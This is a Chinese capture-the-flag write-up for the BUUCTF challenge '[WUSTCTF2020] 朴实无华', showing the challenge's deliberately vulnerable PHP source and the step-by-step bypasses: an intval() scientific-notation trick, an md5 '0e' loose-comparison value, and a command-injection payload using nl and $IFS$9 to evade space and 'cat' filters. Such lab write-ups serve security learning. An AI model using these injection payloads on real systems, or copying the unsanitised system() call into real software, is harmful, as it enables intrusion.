BUUCTF [WUSTCTF2020] 朴实无华
考点:
intval()
函数科学计数法绕过- 网页Unicode编码
- 变量
md5()
加密后与原值相等 nl
、tac
等替代cat
命令
启动靶机:
根据标签名:
<title>人间极乐bot</title>
猜测可能有robots.txt
协议,访问:
得到假的flag:
根据之前的Warning
:
猜测和请求头有关,使用BurpSuite抓取数据包:
在Response中发现新的提示:
Look_at_me: /fl4g.php
访问该页面:
Chrome浏览器显示乱码,用火狐浏览器打开,在更多中,有文字编码:
选择Unicode即可。
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
去非洲吧
得到页面源码:
- level 1
需要通过GET方式传入变量$num
的值,其经过intval()
方法处理后比2020
小,但+1
后比2021
大。
使用科学计数法可以在比较时截断,只返回为1
,但在做加法运算后,
<?php
$num = '2e4';
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "success!";
}
?>
该方式可绕过,?num='2e4'
:
猜测传入后台后自动转换成字符串类型,去掉单引号,直接传入?num=2e4
:
成功通过level1
- level2
通过GET传入变量$md5
的值,通过弱类型比较,与md5加密后的值相等,即可绕过
也就是以0e
开头的字符串,加密后还是以0e
开头即可在若类型比较时均转换成整数0
:
字符串0e215962017
符合该条件,尝试传入参数:?md5=0e215962017
:
成功通过level2
- get flag
strstr()
函数查找字符串的首次出现,区分大小写。
str_ireplace()
函数替换字符串中的一些字符,不区分大小写。
其中通过GET方式传入的变量$get_flag
不能包含空格
、cat
传入的变量将会被当作命令执行,首先先查看当前目录下内容,构造payload:
?num=2e4&md5=0e215962017&get_flag=ls
其中文件fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
可能包含flag,使用nl
命令替换cat
命令,并且通过$IFS$9
代替空格,构造最终payload:
?num=2e4&md5=0e215962017&get_flag=nl$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
得到flag。